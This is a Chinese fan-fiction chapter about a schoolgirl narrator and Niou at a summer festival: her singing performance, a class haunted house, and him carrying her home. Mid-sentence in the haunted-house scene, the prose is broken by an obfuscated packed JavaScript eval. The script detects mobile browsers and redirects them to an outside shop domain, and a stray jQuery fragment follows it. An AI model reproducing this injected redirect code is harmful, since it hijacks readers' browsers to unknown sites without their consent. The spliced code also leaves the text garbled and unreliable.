华灯初上,舞台上的聚光灯突然打亮,让正在后台紧张踱步的我微微一怔。
手里的麦克风也沉甸甸的。
今年夏日祭挑选参赛项目的时候,我的独唱也属于误打误撞唯一通过初选的。
本来是抽奖抽到的名额,我本来不抱任何期待的,却没曾想只有我这场表演通过了。
这些年几乎把所有的注意力都放在了网球的身上,因为只有网球打得足够好了,他才能看到我。
唱歌这个久远的爱好也不知不觉得埋藏在心底很久了。
毕竟我上次对着仁王唱歌还是国小的时候,
——那时候我代表班级参加独唱比赛,而仁王那天却因为网球比赛没有赶到。
尽管他跟我保证会准时过来的,当我看到空荡荡的观众席上,心里还是泛起了一丝失落。
比赛结束之后,我换上便服,在礼堂的尽头,我看见了仁王气喘吁吁的跑了过来。
“对不起,我来晚了。”
我承认我在那一刻还是起了怜悯之心,本来就是希望仁王能看到我唱歌的样子。
“没关系,我再唱一遍给你。”
于是,我又重新穿上了那件粉色的表演服,站在教室的角落里,为他一个人认真地演唱了一遍。
仁王安静地听着,眼神中充满了专注和感动。
那一刻,仿佛整个世界都静止了,只有我与他的呼吸声,以及歌声在空气中回荡着。
舞台中央的主持人已经报出了我的名字,音乐前奏响起的瞬间。
我回了神,缓慢走到舞台中央。
表演圆满结束,下台之后幸村星奈激动的抱住了我。
“漂亮。”嘴里更是不吝啬的赞美。
“唱的也好听。”水谷铃音也忙接了一嘴。
“你有这种本事还偷偷藏着!”夕见涟漪道。
环顾一周并没有看到想要见到的人,结果却在收拾好东西准备回家的时候遇见了仁王。
他见到我的时候没有说话,只是安静地走在旁边,时不时的偷瞥我一眼,眼神里藏着说不清道不明的情绪。
路灯把我们的影子拉得很长。
“你在想什么?”我打破沉默。
“没有什么特别的..只是很久没有看到你在舞台上唱歌了。”他的声音很轻,带着些许怅惘,“上次看你唱歌,还是国小的时候我错过了你的舞台,然后你重新换上了那身粉红色裙子,给我的独唱..”
“所以..你后悔过选择了网球而不是唱歌?”
我停住了脚步,凝视着他。
“所以这两者有什么必要的联系吗?不管是网球还是唱歌都是我的选择,既然我已经做出了选择,那便是最好的选择。”
-
夏日祭第二天我们班组织了鬼屋。
这个提议是仁王提的,他还提供了了很多有意思的道具,比如会突然弹出的假蜘蛛,再比如能发出凄惨叫声的小盒子,亦或是能牢牢站在人身上的假蟑螂。
我被安排成了鬼屋里的一名NPC,主要的工作安排就是吓唬人,我穿着破旧的护士服,隐藏在黑暗的角落里,躲在一间装饰的很逼真的病房的门后。
鬼屋的摆设几乎大差不差,狭窄的通道,昏暗的灯光,诡异的音乐,光是走进来就能感受到不寒而栗。我来回拉扯手里那坨红色液体,黏糊糊的手感,能切换成各种样子的东西,还能沾到别人的身上,惬意地等待着第一位幸运顾客。
“前辈,我好害怕。我们能不能出去啊!”
“赤也你不是说好了要保护我的吗!你不会是害怕了吧。”
“怎,怎么可能!我可是立海大的王牌呢。前辈你放心走,我在后面一定能保护好你的。”
我把手里的东西朝着切原赤也的脑门扔了过去,旁边的幸村星奈鬼使神差地朝着我的方向看了过来,竟然被自家部长发现了,不过东西还是扔了过去,刚好贴到了赤也的脖子上。
切原赤也感觉自己脖子一凉,僵硬地转头看着幸村星奈。
“前,前辈,我脖子好像有东西!你帮我看看是不是血!”
“赤也别害怕。”
幸村星奈柔声安慰着,手又探到他的脖颈处,拿出了那块黏糊糊的红色东西,朝着我方向又扔了回来,不过好在顺利的接住了。
“有水声!前辈!是不是血呀!我们快跑!啊啊啊啊啊,鬼来了!”
其实我也听见水声了,滴滴答答的落在地上,发出清脆的声响,还是一个高大的身影,穿着条白色裙子,披着头发就飘到了切原赤也的跟前,他惊恐的直叫,闭着眼睛,就是拽着幸村星奈往前冲,不知道在混乱中踩到了哪只鬼。
那只鬼闷哼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681301|207701||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一声,然后飘到了我的面前,刻意拉长的声音。
“还-我-命-来。”
我拍开了悬在跟前的手臂,然后问他。
“哪来的水啊?”
仁王扒拉开头发,还是张很陌生的脸,脸上长满了伤口,带血的缺口在灯光下显得格外的惊悚。
我的心砰砰直跳,我是鬼,怎么还能被鬼吓到呢。
压下任何不安的情绪,收敛住了表情。
仁王的后背系了个能够喷水的小骷髅头。
“你怎么过来了?”
“还不是怕你被鬼吓哭。Puri..”
我服下止痛药后,疼痛虽得到了缓解,身体依旧软弱无力,头靠在桌子上,脸色苍白。
“等下我背你回去吧。”
仁王的声音在耳边响起,我却实在抬不起什么精气神和他说话。
结束鬼屋npc工作之后,半途肚子突然剧烈地疼痛起来,捂着肚子慢慢地挪到了最近的卫生间。
给朋友打了无数个电话都没人接听,最后只能把希望寄托于仁王身上。
他听闻消息迅速赶来的时候,不仅给我买了女性生理用品还有止痛药。
当下更是提议把我背回家,他是真不怕我隔天被他的小粉丝给绑了。
他没有等到我拒绝的话,就默认我同意了他的请求,将我轻轻背起。
看起来很瘦弱,骨头还很硌人,但是此时的后背却异常可靠。
“谢谢。”
“puri.我们认识这么多年了,你说谢谢我可接受不起哦。”
从教学楼到校门口那段路很长,虽然夏日祭已经到了收尾的工作,但是零零散散的学生还是很多,我和仁王姑且算得上是立海大的风云人物,此时不少人低声议论着,收获了不少羡慕的眼神。
仁王的步伐稳健而有力,速度很慢,脚步也很轻,把我小心呵护在他的后背。
我把头靠在了他的后背,神情贪婪地享受着当下的温暖。
“你比我想象中要靠谱很多。”
“我这些在你心里的样子是怎么样的呢?”
“不靠谱,总是骗我。”
“那现在的我呢?”
周围的一切都仿佛变得模糊起来,耳畔萦绕着的只有彼此的心跳声。
它们在愉悦的跳跃着,庆祝着。